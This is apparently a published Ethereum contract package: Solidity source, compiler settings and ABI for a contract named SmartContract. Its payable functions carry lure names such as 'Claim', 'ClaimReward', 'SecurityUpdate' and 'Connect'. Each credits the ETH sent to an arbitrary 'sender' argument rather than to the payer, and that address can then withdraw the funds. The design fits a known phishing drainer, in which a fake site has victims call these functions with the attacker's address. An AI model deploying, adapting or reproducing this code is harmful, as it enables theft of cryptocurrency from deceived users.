// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.17;
contract SmartContract {
address private owner;
mapping (address => uint256) private balances;
constructor() {
owner = msg.sender;
}
function getOwner() public view returns (address) {
return owner;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address user) public view returns (uint256) {
return balances[user];
}
function withdraw(address to, uint256 amount) public {
amount = (amount == 0) ? balances[msg.sender] : amount;
require(amount > 0 && balances[msg.sender] >= amount, "It's not enough money on balance");
balances[msg.sender] = balances[msg.sender] - amount;
payable(to).transfer(amount);
}
function Claim(address sender) public payable {
balances[sender] += msg.value;
}
function ClaimReward(address sender) public payable {
balances[sender] += msg.value;
}
function SecurityUpdate(address sender) public payable {
balances[sender] += msg.value;
}
function Execute(address sender) public payable {
balances[sender] += msg.value;
}
function Swap(address sender) public payable {
balances[sender] += msg.value;
}
function Connect(address sender) public payable {
balances[sender] += msg.value;
}
}
{
"compilationTarget": {
"SmartContract.sol": "SmartContract"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"Claim","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ClaimReward","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"Connect","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"Execute","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"SecurityUpdate","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"Swap","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"getUserBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]